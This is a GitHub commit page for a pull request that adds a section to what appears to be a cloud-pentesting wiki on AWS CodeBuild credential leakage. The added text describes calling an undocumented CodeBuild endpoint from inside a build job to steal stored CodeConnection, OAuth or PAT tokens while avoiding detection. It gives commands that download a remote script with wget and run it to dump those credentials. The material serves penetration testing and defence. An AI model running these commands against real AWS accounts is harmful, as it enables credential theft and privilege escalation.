Skip to content

Commit 5527787

Browse files
authored
Merge pull request #273 from thomaspreece/master
Add new CodeBuild credential leakage technique
2 parents 0611060 + a0ce4e4 commit 5527787

File tree

1 file changed

+12
-0
lines changed

1 file changed

+12
-0
lines changed

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,18 @@ First, check if there are any source credentials configured that you could leak:
1010
aws codebuild list-source-credentials
1111
```
1212

13+
### Via RCE in CodeBuild Job
14+
15+
From within a CodeBuild job, you can hit an undocumented AWS CodeBuild API endpoint which will return you the credentials used by CodeBuild. This can be used to obtain the credentials the CodeBuild job was setup with e.g. AWS CodeConnection credentials, OAUTH or PAT credentials. The CodeBuild job does not need to be privileged to hit this endpoint and it is also hard to detect in logging and monitoring as CodeBuild itself calls this endpoint several times on startup.
16+
17+
The technique is explained further in [https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/](https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/) but in summary to obtain credentials within the CodeBuild job you just need to run the following:
18+
19+
```
20+
python -m pip install botocore boto3 requests
21+
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
22+
python ./GetBuildInfo.py
23+
```
24+
1325
### Via Docker Image
1426

1527
If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.

0 commit comments

Comments
 (0)